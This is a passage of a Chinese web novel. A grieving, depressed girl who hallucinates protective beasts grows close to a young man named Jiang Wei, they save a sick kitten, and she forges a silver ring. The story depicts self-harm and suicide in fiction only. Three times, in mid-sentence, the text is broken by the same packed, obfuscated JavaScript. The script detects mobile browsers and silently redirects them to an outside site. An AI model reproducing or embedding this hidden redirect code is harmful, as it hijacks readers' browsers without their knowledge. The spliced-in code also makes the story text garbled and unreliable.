倒是江未思前想后,扭捏半天才说:“小哑巴,你如果有什么想要我从外面给你带来,可以给我发信息。” 沈淮棠摇摇头,写道:“我不用手机,而且云姨和保姆把我照顾得很好,我不缺什么。” 江未碰了个软钉子,撇撇嘴,心不甘情不愿地质问道:“难道在我离开的时间里,你一点都不想跟我说话吗?” 沈淮棠与他对视,片刻后认真写道:“想,可我生活固定乏味,不像你每次都有新鲜事可以说。” 江未一时语塞,不知如何反驳。 她观察他的表情,大概悟到他的言下之意,于是又写:“以后,你每次回来,都给我带一束花吧。” 要岛上没有的花。 江未好似接到圣旨,下次回岛之前,精挑细选一束妙丽的金丝雀黄月季。 然而他抵达港口,翻了栏杆抄近路回到栖居,店里只有达拉斯正在打磨着手中的木质小象。 江未抬眸看了看钟表,以往这个时间,沈淮棠应该都会在。 达拉斯瞧他一眼,将圆圆的眼镜片往上推了推,说道:“梅拉斯修女去世了,或许她去教堂参加葬礼了。” 噩耗来得突然,江未一时诧异,不过他知道沈淮棠特别喜欢在老修女的花田溜达这件事情,于是将行李与花束放下,转身出门,骑着自行车往教堂去。 他远远地在大门处,往里面一扫眼,并没有看到沈淮棠的身影,又转身去别处寻找她。 沈淮棠在无人问津的沙滩,仰面而躺。 江未在不远处停车,海风鼓起他衬衣的下摆,他凝望她,像是在凝望一具半死不活的躯体,魂魄尽失。 认识以来,他虽然知道他有疾病,却从来没有直面过她如此外放的痛苦。 他一时惶恐,不知平日里她是否全部精力都放在如何扼制内心的黑云压境,今天崩溃至此,不过是再也压不住了。 或许是顾及不上,沈淮棠当天没有吃药,所以也没有犯困,她一直都非常清醒,清醒地煎熬着。 她望着天空,漫长而执着地沉默着。 而在她世界中,所有的庞然异兽都在阵阵潮水声里仰天悲鸣,如泣如诉。 直到江未踩着浪花而来,她心如刀绞,却没有眼泪,只沙哑地说出生病以来的第一句话:“我可以抱你吗?” 海潮涌来又褪去,那朵红色的海棠随着海浪飘走,就像是带走了她的心脏。 那天傍晚,江未把沈淮棠背回公寓。 她一点力气都没有,如同濒死,伏他的脊背,脑袋歪歪靠着,双手垂落,随着江未的步伐摇摆着。 保姆见到这般虚弱的沈淮棠,大吃一惊,赶紧抱她进屋,喂过药,仔细擦了脸和身子。 不过她虽然虚弱,但情况尚好,没哭没闹,等药效发作后,自会乖乖陷入沉睡。 整个晚上,沈淮棠都在频繁地梦魇。 其实她非常明白,自己一直以来都是个掌控欲极为强烈的人,否则无法维持家庭的稳定。 然而掌控感的背后,是对未知与不确定的恐惧,她的背后是悬崖,决不能退后哪怕一步。 因此,来来回回的梦魇中,全是无尽的失控,那是她最害怕的事情。 也是她最恨的事情。 那是一个昏昏欲睡的夏日下午,铃声响起,高考结束,人生即将翻开新的篇章。 沈淮棠长舒一口气,走出考场后,竟然远远地看见班主任在招手,面容带着某种宁静的悲悯。 待她走近,班主任欲言又止片刻后,轻声说:“淮棠,刚刚发生一件事情,你听了之后别太激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850605|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。” 沈淮棠预感到什么,嗡的一声,脑子里的那根长时间紧绷的弦,就此断裂。 掌控感决堤,事态以无法控制的速度急速崩溃,连带着她本人都像一朵转瞬即逝的花朵,还没来得及绽放,就衰败腐烂。 认领尸体,进行资料填报,准备后事,沈淮棠木然而冷静地处理完一切事情,直到云姨回国来帮她,才勉强松懈三分。 当一切化为灰烬,她发现左手难以自控地颤抖,云姨紧紧握住她那只手放在心口,却怎么也捂不暖。 为什么厄运会发生在她们家。 为什么命运不能对她网开一面。 为什么,她已经做得足够仔细体贴,还是走向最坏的结果。 她的疑问都不会有回答。 生活的唯一支点就此崩溃,失控所带来的后果,即是她倒退一步,坠入悬崖。 然而悬崖下却没有底,她只能永无止境地做自由落体。 沈淮棠没有眼泪,却发现已经很久没有好好睡觉,漫长的失眠腐蚀着她的神经。 她长时间地躺在地板上一动不动,处在木僵状态,不知白天黑夜,没有任何事情能激起心中的涟漪。 直到某一个寂静的夜,她看见床脚安静盘旋着的蛇三。 小山一般的巨兽,三只恐怖的蛇头,巨大的翅膀,蜿蜒在床底的尾巴,月色在它的鳞片上划过暗色的光。 黄金竖瞳像是夜晚的两个灯笼,蛇三张开嘴,露出尖利的獠牙,细细的信子上下翕动,发出怪异的声音:“乖乖,睡不着吗?我给你讲故事好吗?” 她缓缓地点头。 后来,异兽跪坐在少女身边,巨大的翅膀将她护在怀中,慢吞吞地为她讲起一个又一个玄幻的故事,直到她终于沉沉睡去。 孤单的沈淮棠终于有了第一个朋友。 可她同时也发现,胸口仿似堵住一团黑色的棉花,卡死她的喉咙。 她说不出话了。 时隔一年,悲恸终于席卷而来,像一只巨大的手禁锢住她的下颌骨,强迫她正视失控以及失控所带来的风暴与海啸。 这一年,她像是被硬生生撕开成为两个人,表面上冷静处理母亲后事,乖巧跟随云姨来到梦港岛,其实内心强烈拒绝母亲自尽这件事情,甚至出现异兽幻觉。 那是母亲的代偿,她极为依赖。 而修女的死,似是一记重锤迎面砸落,让她再次面对——死亡是不可控的。 混混沌沌的噩梦之中,沈淮棠忽然听见咚咚咚的声音,似乎是谁在敲击着什么。 她费尽全力地撑开眼皮,光芒渐次落入眼中,用力地眨眨眼,才终于回到人间。 真是精疲力尽。 敲击声仍在继续,她意识到是从窗户传来,缓缓转头后,发现窗外竟然有个人。 仔细一瞧,竟然是江未。 窗户锁的很严,他进不来,可她的公寓是在三楼,这家伙是怎么爬上来的? 江未见沈淮棠转醒,明亮一笑,眼里满是细碎的光。 他挥挥手,示意她不用起身,而后放下一个玻璃瓶,里面插着一支漂亮的金丝雀,嫩黄色的花瓣朝着天空柔柔绽开,像是黯淡生活中唯一的希望。 送完花后,江未就走了。 可沈淮棠脑海里反复涌现他的笑,像一颗太阳,照亮她晦暗的梦。 昏沉之中,又觉得自己可笑。 保姆轻手轻脚推开门,走进来看见她醒了,高兴地来探她的额头:“谢天谢地,你可足足睡了快两天,还发着高烧……现在好些了吗?” 她喂她喝了些水,吃了药,又睡了一觉后,精神好些,才起来将窗外江未的礼物拿进屋来,放在书桌上。 沈淮棠趴在桌上,凝视着月季,不知能开几天,想种起来,又不太会园艺。胡思乱想间,她决定去问问老修女,却蓦然意识到前两日是修女的葬礼。 愣神半晌,她忽然落下泪来。 直到羽鲛人出现,用绚丽的鱼尾卷过她的身体,长长的喙梳理她的头发。 她贴着它冰凉却紧紧的怀抱,静默许久,才终于轻声说:“谢谢你,明天见。” 到点吃药了。 23. 尉迟尔岚 那段时间沈淮棠过得很痛苦,再也无法自欺欺人时,每时每分都是煎熬。 她靠着医生开的抗抑郁药物抵抗空虚,病症躯体化时的折磨实在让人求生不得求死不能。 有的时候,连光与声都不能有。 在等待药物起效的时间里,她蜷缩在衣柜里,企图在漆黑狭窄密闭的空间里寻找一个支点。 于是她开始咬住胳膊,在手腕上留下一圈圈血肉模糊的牙印。 伤口火辣辣的疼。 沈淮棠后知后觉地想,原来母亲曾经这般痛苦,只有自己也是病人,才能感同身受啊。 如果她以前更严谨一些,是不是就可以改变结局了呢?她为什么这么没用。 她是个害死母亲的罪人。 伸手不见五指的衣柜里,倒挂着一只狗头蝙蝠,正发出嗡嗡的声音,那是一种安慰的方式。 沈淮棠无声地嘶喊,喉间有压抑的沙哑的挤压出来的声音,指甲将脖颈抓出一道道刺目的红。 忽然间,她猛地转头,外面好似有什么落地的声音。 有谁三步并做两步靠近衣柜,一把将门打开——阳光猝不及防地照进来,沈淮棠像是被烫伤般尖叫起来,捂住脸往后退缩。 “别怕!小哑巴,是我,是我。”来人是江未,见状立刻安抚道,“我找不到你,只是想确定你没事,对不起,对不起。” 他当机立断地坐进衣柜,把衣柜门猛地关上,黑暗再一次覆盖在这个小小的空间里,勉强让沈淮棠找回了些安全感。 只不过,衣柜里多了个一个人。 江未好脾气地说:“我什么也不做,就在这里陪陪你。”他抱着胳膊,尽量不碰到她,“一旦你觉得难受,我就马上出去,好吗?” 沉默片刻,沈淮棠的手慢慢放下来。 她心里有些抵触,却没有力气拒绝。 江未的存在感实在太强,他人高马大,在衣柜里实在伸展不开,就算已经尽力避免,手臂仍然被迫紧紧地靠在她身边。 他的体温很高,滚烫而灼热,倒不知到底是谁在发烧。 两人贴得那样紧,连他的心跳声都听得见。哪怕在黑暗中,沈淮棠甚至都能感受到他看过来的灼灼目光。 “小哑巴,你别怕。”他小心翼翼地来抓她的手背,轻轻一碰,她就一抖,却还是没有拒绝他的靠近。 他看着她满是伤痕的胳膊:“疼不疼?” 她的眼睫微微动一下,他犹豫后又提出建议,“要不,以后你咬我吧?我身体好,咬几口没事儿,你不用客气。” 江未大方地把胳膊送到她的唇边,果不其然被她垂眸避开,不愿有任何接触。 “抱歉,是我不严谨了,今天赶来有点着急,没洗胳膊,很不卫生,下次吧。” 江未自然而然地找到台阶,沈淮棠却猛地转过头来,反悔了似的,抓住他的胳膊,一口咬了下去。 突如其来的疼痛让他情不自禁倒吸一口冷气,却没有将手臂收回,反而缓慢地伸手,轻轻抚摸在她匍匐颤抖的脊背。 他感觉到滚烫的眼泪。 通过手臂上的伤口,他似乎终于能够体会三两分她那难以言明的苦衷。 “真不错,很有劲儿。”江未大力表扬,“下次梦港岛供电不足,就找你去发电。” 沈淮棠没搭腔,慢慢松开他的胳膊,肌肤上甚至已经渗出血珠。 江未满不在乎地抹去,转而提起她曾感兴趣的话题:“今天是谁在陪你?蛇三这么大的体型,应该进不来这个衣柜。” 此时,倒挂金钩的狗头蝙蝠正在静静地审视着东张西望的江未,再也没有发出奇怪的声音。 当然他也看不到,狗头蝙蝠只存在于她的幻想之中。 沈淮棠闻言微微抬头。 江未顺着她的视线看去,猜测道:“在上面?是爬行类吗?还是有鸟一样的翅膀和爪子,能够在杆子上停留。” 过了许久,她才嗓音沙哑地说:“狗头蝙蝠,尉迟尔岚。” 话音一落,衣柜里陷入漫长的静谧。 江未极其战战兢兢,怕碰碎她似的轻声说:“阿棠,你说话了。” 甚至没有叫她小哑巴。 沈淮棠眼皮一抖,后知后觉地张张嘴。 啊,她竟然开口说话了。 哑巴这么久,竟然又可以说话了,为什么会这样呢?这是病好了吗? 可为什么她还是毫无感觉呢? 江未见她神情恍惚,赶紧再接再厉地鼓励:“尉迟尔岚,是吧?狗头蝙蝠是叫这个名字。” 沈淮棠一点头,没再出声。 “好名字,还是很罕见的复姓,足足比我的名字多一倍的字数。” 经过上回的震撼,这次江未已经能真心实意地鼓掌,感叹道,“你有很多好朋友,真好,他们都会默默陪伴你。” 听到这话,沈淮棠的手又开始控制不住地颤抖起来,她的指甲死死掐入掌心:“可是我总有一天,会看不见的。” 吃药以后,她就看不见异兽了。 或者说,吃药以后,她就短暂地变回正常人。等药量足够,真正治愈的那天,或许就是与它们的诀别之日。 说完,她甚至在想,曾经母亲擅自停药藏药,是否有着极其相似的缘由? 但这是不对的。 “嗯,这的确是个问题。”江未理解她的意思后,陷入沉思,“阿棠,既然遗忘是无法避免的未来,那你要不要在有限的时间里,努力把它们都记录下来?” 他仍紧紧握着她的手,温和地细细摩挲着她的掌心指腹,充满安抚性的动作让她的情绪暂时平静些,努力聆听理解他接下来的话语。 “你看,我就很喜欢做收藏本,不管是动物还是植物,就单独做一栏介绍。可以画图,写文字,记录的方法可不止一种。” 他观察着她的表情,一字一句慢慢地说,“上次我们不就将蛇三画出来了吗?虽然那只是个雏形,但我已经大概能看出来它到底长什么样了。” 沈淮棠下意识握紧他的手指。 “心动了是不是?你要想做,随时可以开始。”江未的声调笑吟吟的,在一片黑暗之中更显得温柔,像冬雪后的暖阳,“这个世界上,只有你知道他们长什么样,也只有你可以和他们交流。” “所以,趁着他们消失之前,赶紧记录下来,好不好?” 沈淮棠有些迟滞地颔首,心里有陌生的情绪在涌动,细小的涓流蜿蜒流去,带起一片枯萎的森林重新呼吸到氧气。 他们开始讨论具体如何实行计划,要怎样去记录异兽的各项信息。 大多时间,是很有经验的江未在出谋划策,沈淮棠断断续续地提些意见,或者简单地介绍她的朋友。 她已经许久没有说话,唇舌无力,有些不受控制,发音也磕磕绊绊。 但江未并未表露半点不耐烦,引导着她无意识地说了很多话,比他们预想的要多得多。 就在这样平和的氛围中,她体内的药物也逐渐发挥作用,昏昏沉沉之中,她靠在江未的肩头睡着了。 江未确认沈淮棠一时半会儿不会醒来之后,赶紧推开衣柜门,深深深呼吸。 再继续待下去,他俩都非缺氧不可。 江未轻手轻脚跳出衣柜,舒展早就发麻的四肢,而后再将她打横抱出来,放在床上,盖好被子。 他坐在床边,伸手将她额前细发抚去,露出白净的睡颜。 凝视半晌,他轻叹:“真是傻孩子。” 江未找到公寓里的医药箱,给她血肉模糊的胳膊处理伤口,包扎起来。 待一切结束,江未准备离开,正要原路翻窗返回,突然发觉自己在犯傻。 他为何不走正门?! 原本今日江未是走正门来探望,恰逢保姆外出购物,他敲门半天无人应答,担心她做傻事,这才再次跑到楼后冒险爬窗户,做贼实属无奈之举。 爬上来后,正好听见衣柜里传来细微的声响,把他吓得够呛,生怕她遭遇不测。 所幸今日窗户未锁,他捣鼓一番顺利翻进来,才见到沈淮棠。 再无第三次了,江未暗暗说,传出去他名声怕是要坏了。 梦想丰满,现实却骨感,他这不希望发生的第三次,很快就到来了。 那天梦港岛下了很大的雨,江未没出门,窝在栖居里啃旧书消磨时间。 正看得入迷时,他的手机忽然响起,来电显示是个不认识的号码。 他有些奇怪,但还是接起来。 听筒那端传来有些失真的声音,谨小慎微道:“是江未吗?” 江未一愣,下意识直起身:“阿棠?” “是我。”沈淮棠刻意压低声说道,“你能来一趟公寓吗?不要走正门。” 不走正门,那就是像上次一样翻窗。 江未听到这离谱的条件默默一哽,勉强稳住说:“怎么了?第一次给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850606|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话就是叫我做坏事啊?” “迫不得已。”沈淮棠祈求道,“我捡回来一只小野猫,状况不太好,我想带它去医院,可是现在外面下大雨,云姨不让我出门。” 江未意识到事情严重,即刻答应:“好,那我去接小猫。” 这场雨从昨天夜里就开始淋漓不绝,沈淮棠躺在床上,听着潇潇雨声里好似夹杂着微弱的叫声。 她用手电筒扫了一圈窗外,在对面的楼栋底下见到了漆黑一团的小不点儿,正在无助地呜咽。 出家门后,她撑着伞找到那只小猫,脱下外套将它严严实实地裹起来。 脆弱的小小生命体温很低,抑制不住地颤抖,仿似生命正在流逝。 因为家里云姨与保姆都有猫毛过敏,沈淮棠没打算跟她们说这件事情,直接回到了自己的房间,用干毛巾把小猫身上的雨水擦净,吹干毛,用暖灯烤着。 她发现小猫的腹部有不正常的隆起,有些担心,却拿不准具体情况。 然后她又去泡了一点羊奶粉,喂给小猫吃,小猫很饿,可吃了又呕吐,颤抖,虚弱,她看得揪心不已,想着等雨停了,她就带小猫去医院看看。 可是雨一直在下,并且愈来愈大,她的发烧还没有完全好,云姨怕她出门着凉,因此不允许她出门。 ——云姨听闻她生病,特地放下工作来梦港岛看她,她心里感激,因此想了想便咽下这话,争取做个听话的孩子。 然而小猫却等不起了,沈淮棠在焦虑无奈之下,突然想起一年多没用过的手机。 她找出来,充上电,这才按照江未之前留下的号码打过去,试探性的寻求帮助。 按照沈淮棠原本的计划,麻烦江未带小猫去医院就好。 可当江未抱着小猫准备离开的时候,她却忍不住拽住他的衣摆,小小声地说:“我也想去。” 江未惊讶回头,她赶紧找补:“我就是……不太放心。” 她说话还带着鼻音,可看着那双恳求的眼睛,江未怎么都说不出拒绝的话。 犹豫片刻,他终于妥协:“那……你多添一件衣服,别撑伞了,穿雨衣。” 然而真正的难点,是怎样带着她冒着大雨从三楼落地。 若是如今的江未和沈淮棠,必然是不会选择这种冲动危险不顾后果的做法,可那一年,两人都是正当少年时,是最有勇气的年纪,并不觉得这是多吓人的事情。 江未先将小猫抱了下去,又爬上来,指导帮助沈淮棠从室内翻窗出来,从一层层的屋檐雨棚以及水管凸起的地方,像猴子一样爬了下去。 在最后一段,江未先跳到地面,转身对高处的沈淮棠伸出手臂,鼓励道:“没事,你跳下来,我在这里接住你,别怕!” 沈淮棠的手紧紧抓在水泥窗沿,像是风雨凄凄之中的芦苇,她担忧地往下张望,光是做心理建设就用了三分钟。 不管了,跳吧! 她心一横,果断地跳了下去! 沈淮棠的眼睛因为紧张而瞪大,心脏跳得快要从口中跳出,连手脚都冰凉得如在冰窖—— 而后,她稳稳当当地落入一个怀抱。 她下意识抬头,落入瞳孔的正是江未漂亮的笑脸。 不远处有车灯一晃而过,他的桃花眼里折射出被雨夜浸透后仍然明亮的光彩。 他得意扬眉,笑吟吟地说:“我就说了,一定能接住你吧!” 直到这会儿,她的心跳都还未平复,咚咚咚的好似比雨声还大,再加上偷跑出来的紧张刺激,简直兴奋得全身汗毛四立。 偏生江未将她抱得很紧,半点也不嫌弃她穿的是湿哒哒的雨衣。 明明已经落地,可她在这瞬间,仍然感觉到一阵又一阵失重的眩晕。 沈淮棠脑袋恍恍惚惚,结结巴巴地说:“谢、谢谢你……” 江未垂眸瞧着她难得傻乎乎的模样,心里起了逗她的心思,便抱紧她没松手,俯身在她耳边低声说: “阿棠,我比你年长几岁,你以往不会说话便罢了,现在是不是得喊我一声哥哥?” 沈淮棠听罢,干脆利落地接受了:“谢谢哥哥,哥哥对我最好了。” 这清脆的两声“哥哥”,简直把江未砸得晕头转向,当即心跳直奔一百八,从脖子到耳根迅速红透,根本找不着北了。 他万万没想到沈淮棠这般不见外,触电般地放开她,后退几步,恼羞成怒地半吼半嗔道:“怎么让你叫你就叫啊!” 24. 银戒 俗话说得好,男人心,海底捞。 沈淮棠都想不明白,明明答应了他提出的要求,怎么还要骂她啊? 喊一声哥哥而已,这有什么呢? 她打小儿就有个实实在在的余谨哥哥,偶尔还得屈服于余谨的淫威之下,要对他说不少好话,这不都熬过来了吗? 所以江未只是让她叫一声哥哥,对她来说并没有那么难以启齿。只不过江未这罪魁祸首显然并不习惯,满面惊慌,眼里显示出精确的饼状图,三分骄傲三分责任感四分羞涩,复杂而好懂。 然而沈淮棠此时挂念着病重的小猫,没有心思照顾他晶莹剔透的少男心,赶紧伸手去拉江未:“时间不早了,哥哥,你最好了,你最好了,咱们赶紧走吧。” “啊啊啊!你闭嘴啊!”江未情不自禁甩开沈淮棠的手,火箭筒般轰的一声冲出去,狂奔三两步后想起什么,又冲回来,重新紧紧牵住她的手,耳朵红得简直要喷蒸汽,“我没事,我们走吧。” 这看上去不像没事儿啊。 沈淮棠实在难以将面前这位锃亮的番茄与初见时散漫自由的画中仙联系起来,以及那天在海滩遇到游泳的他,海妖般美丽诱惑…… 她心头涌起恶作剧的念头,学着那天他逗她的模样,凑过去在他耳边问:“哥哥,你很讨厌我吗?” 江未岂会不知她的意思? 他半边身子都麻了,暗暗咬住后槽牙,也没敢拉开距离。 “不讨厌,那你跑什么?”她的声音在大雨的覆盖下轻轻的,却一字不落地钻入他的耳朵,重重砸在他的心弦上,“哥哥,你太不真诚了。” “好了,别叫了。”他满脸郁猝,牵着沈淮棠的手却没有放开:“我不是故意的,对不起,别闹我了……” 插科打诨之间,他们带着小满抵达岛上唯一一家宠物医院。 在进行一系列检查后,医生表示小猫能活到现在实属福大命大,它的肚子里有一颗肿瘤,需要马上手术,然而就算如此,存活几率也并不大。 沈淮棠身子本就没好全,淋过暴雨后较为虚弱,嘴唇毫无血色地微微颤抖,却坚定地说:“做手术吧,哪怕有一点活下来的机会,都试一试。” 她没说二话,付过诊金,让小猫在医院治疗住院,等各项指标都正常后,就进行手术。 回去之后,沈淮棠再次从窗户爬进去。为了不暴露行踪,她将雨衣挂在窗外,又仔细地清理过身上的猫毛,这才去洗了个热水澡。 然而这一趟出去太折腾,暴雨无情,夜里她又开始发热咳嗽,再次病倒。 这导致接下来的一段时间,她都没有办法去医院探望小猫。 于是江未再次代劳,每回都给她拍数张小猫的照片,告知它的身体情况与医生的建议:“小猫和阿棠都快快好起来!” 经过这些天的频繁沟通,沈淮棠渐渐习惯于江未发短信联系,直到手术当日,江未打来电话,信誓旦旦地对她说: “阿棠,今天是我这辈子第一回去教堂祈祷,特别虔诚,所以小猫一定没事儿,你放心好了。” 除了祈求小猫手术顺利以外,他还有个小小的私心。 现在的沈淮棠已经没有办法再承受一次死亡的打击,若是可以,他希望她能在小猫身上看到生的希望。 或许是他的诚心感动上天,医生回春妙手,小猫的手术很成功。虽然此次手术仅仅能够延长小猫的生命,若是病情复发,不确定还能活多久。 然而此时沈淮棠和江未都放下心来,至少现在,小猫活下来了。 待小猫出院,他们便将小不点儿养在栖居,起了个名字叫二白。 这小家伙身体太虚弱,之前又吃尽了流浪的苦,对所有人都不信任,无论是谁靠近,都能收获二白的一阵哈气。 好在沈淮棠对于照顾情绪不稳定的病患特别得心应手,不管是研究处方粮,还是耐心地去获得小猫的信任,这都是她的熟悉的领域,也让她的生活又多了个盼头。 江未趁着去岛外的时候,买了不少给二白的零食与玩具,达拉斯也会帮忙在栖居照看小猫。 久而久之,二白也明白今时不同往日,从天而降的三个铲屎官对它是一片丹心,于是也收了爪子,成了栖居不折不扣的小团宠。 在他们的贴心照顾下,二白很快就胖了起来,独立自主的性格也逐渐显现。 它仍然保持着流浪猫的习性,时常出去溜达玩儿,回来的时候会带不少“战利品”,也就是耗子小鸟之类的猎物,知恩图报地放在它最爱的沈淮棠面前。 她陷入沉默,收也不是不收也不是,江未还要在旁边幸灾乐祸煽风点火:“多少吃点吧,别寒了孩子的心。” 随着时间过去,他们越来越亲密。二白黏人得简直像一只小狗,只要沈淮棠在栖居,它便如影随形,同吃同睡同看电视。 二白甚至摸清她每日来栖居的时间,经常在栖居大门的不远处等待,以便见到她的第一眼,就能飞速扑进她的怀里。 身后传来熟悉的呼唤:“阿棠!” 一人一猫同时抬头,咔嚓一声,照片形成,江未举着相机笑得乐淘淘,打趣道:“你看你俩简直一个模子刻出来的。” 沈淮棠本不以为意,可看到江未拍的无数她和二白的照片里,分明是两个物种却极为相似的容颜与表情,也觉得有趣:“二白好像照着我长的。” 偶尔她会有很奇异的感觉,二白像是她的同伴,又像是她的孩子。 除了去医院治疗疾病,以及照顾二白以外,沈淮棠的生活中还有一件每天都在做的事情,即是上回江未建议的记录异兽。 江未给了她一本大速写本,让她将异兽分门别类,按照它们的样子画下来,再进行文字的记录与描述。 这种时候,哪怕异兽们都十分乐意长时间地待在原地不动,做个乖巧的兽体模特,她还是会懊恼自己画技不精,很难描绘出异兽最精细传神的一面。 好在她还有江未,只要看过她的“例图”与添枝加叶,便能重新将异兽们的肖像画加工得栩栩如生。 这出神入化的技能,这是让沈淮棠好生羡慕,暗自下定决心要学习画画。 沈淮棠将此事当成了不起的大事去做,指引江未曾说“全世界只有你才能看到它们”,她身上莫名有了责任感,实事求是与细心慎重的性子也起了作用,力求还原异兽们最好的样子。 这一日,沈淮棠窝在栖居写着那本异兽小册子,只要一抬头,便能看见书店门口的达拉斯。 他坐在小板凳上,就着阳光认真雕刻着手里的把件,神情认真。 不知怎么回事,沈淮棠的眼前忽然浮现许久以前,母亲在阳光下在手绢上绣花的身影,与达拉斯的背影重叠起来。 她情不自禁地站起身,仓皇走了三四步,又不可置信地定住。 达拉斯回头看她一眼:“怎么了?” 沈淮棠如梦方醒。 眼前的分明是虎背熊腰的达拉斯,而不是身材纤细的母亲。 蛇三张大嘴,打了个长长的呵欠,长长的尾巴探寻而来,碰了碰她颤抖得无法自控的指尖。 哪怕如今的生活已经被填满,她仍然被病魔折磨得心旌摇摇,幻觉倍出。可相比之下,她更难以接受连异兽也消失不见。 若别离已是命中注定,那她只能拼命地留点念想。 沈淮棠害怕再次掉入情绪的漩涡,当即垂眸,轻声问道:“达拉斯,你在做什么小物件儿?” 达拉斯在手心展示:“戒指。” 深色的木纹缭绕,他在圆形上雕刻出精细的树叶脉络样的纹路,镂月裁云。 她端详片刻,忽而有了新主意:“达拉斯,快到我的生日了,我想给自己做一枚戒指,你可以教我吗?” “当然可以。”达拉斯答应得很爽快,又耐心地询问道,“你是想要木质的戒指,还是银质的呢?” 沈淮棠思索片刻:“银质的吧。” 达拉斯点头:“好,等今天栖居关门之后,我带你去我的工作室做。” 这是沈淮棠第一次到木匠的工作室,简直像个藏宝洞,不论是达拉斯的作品墙,工具屋,还是原料库,都让她叹为观止。 达拉斯从书柜上翻出一本厚厚的书,翻到戒指入门的页面,让沈淮棠选择心意的款式。 她赶紧摇摇头,打小儿手工就不大行,对自己的信心只有负数,她的要求不高,能将银条儿打成一个圈就谢天谢地了。 达拉斯闻言哈哈大笑,拿了软尺来,给她量好指围,而后从原料库里选了一根小银条,手把手教她淬火塑性。 沈淮棠漆黑的眼眸被跳跃的火焰染成明亮的橙黄色,那炙热的温度与光芒,破去错落翻卷的千层暗,融化在她瞳孔深处。 “达拉斯,如果我想在戒指上刻字的话……”她迟疑地问,“会很难吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850607|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “对我来说,当然不难。”达拉斯笑眯眯地说,“但你不亲自试试,怎么知道难不难呢?” 达拉斯挑了趁手的小錾子和小锤子,让她自己琢磨玩儿去了。 新的任务就在眼前,沈淮棠屏气凝神,费尽九牛二虎之力,脊背上冷汗频出,才勉强将那个“棠”字刻得如心所想。 端端正正,平平稳稳,亦如她的脾性。 曾经听母亲所说名字的由来,是母亲在怀孕后的那个春日,心血来潮出门踏春,怎知路途中却晕车身体不适。 直到下车那一刻,她方一抬眸,便见到不远处河边的一棵海棠树,花朵开得极美极艳,她本就是爱花之人,当即看得痴迷,完全忘记身体有恙。 回来之后,沈如风便决定,她的孩子名字要叫“淮棠”,淮即是“水至清”,棠即开得鲜妍夺目的海棠。 二白趴在她的脚边,等得太久,整只猫都睡翻,肚皮朝上,打着细碎的小呼噜。 戒指初步成型后,达拉斯煮好蘑菇汤给沈淮棠喝,又给二白一条小鱼,满面欣慰地看着他们狼吞虎咽。 给俩孩子喂饱后,他开始指导她将戒指压弯打磨,焊接抛光,花了不少时间,才终于制成完美的样子。 沈淮棠对着灯光举起那枚简素至极的银戒,反复打量,满心皆是爆棚的成就感,怎么看怎么喜欢。 这可是她做出来的戒指,送给自己的成年礼物,真是太了不起了。 待江未从学校回到梦港岛,抱着新鲜花朵风风火火冲进栖居大门找沈淮棠时,一眼就看到她食指上的银戒。 他敏感至极:“谁送你的戒指?” 沈淮棠对他很大方,摘下来给他过目:“好看吗?这是我给自己做的生日戒指。” 江未内心顿时平衡,果断说:“我也要,你给我也做一个。” 沈淮棠迷惑道:“可你生日在夏天。” “那又怎样?”江未熟练地耍赖,理直气壮,“不是生日就不能做吗?” “可以是可以,但我手工很差,做不出更好看的了。”沈淮棠本能认为,漂亮的江未就该配漂亮的戒指,“你可以让达拉斯做一个更精致的。” 江未语气笃定地拒绝:“我就要跟你这个一模一样的戒指,在这里刻一个‘未’字。” 一模一样吗? 沈淮棠总觉得有点不对。 面对她狐疑的审视目光,江未的红耳朵再次出卖他,不满道:“怎么?让你做个戒指罢了,很为难你吗?” 他将花束从身后掏出,递到她面前,嘀嘀咕咕地说,“我可是每次都给你带好看的花花,这一次是白雪山哦。” 雪白的花朵上方,江未为了无辜卖乖,桃花眼都要瞪成杏仁眼了,可见其执着。 她一时心软,垂眸将被风吹乱的额发挽至耳后,不动声色地往后退一步:“江未,别人看到会误会的。” 江未咄咄逼人地往她的方向靠近,不让她再有任何的后退,隔着一束花,滚烫的气息几乎要喷到她额头。 他竖起眉头,笑容尽失,面色竟有难得一见的森冷之意:“误会什么?” 她小声说:“误会那是情侣对戒。” 江未一扬眉,满不在意:“我是那种会在乎闲言碎语的人?还是说,只是你不愿意而已?” 这一回,沈淮棠沉默地更久,半晌才垂眸道:“可是……我不太好。” 江未眸色更冷,几乎压制不住胸腔里喷薄而出的怒意:“谁欺负你了?” “没有,是我自己的问题。”她摇摇头,“我还在生病,情绪和状态都不稳定,只会伤害自己,伤害别人,这很不好。” “你也知道,你只是在生病,跟感冒发烧一样嘛,只要病好了,都会没事的。” 江未拍拍她的脑袋,安抚道,“不要否认,你就是全世界最好的小朋友。” 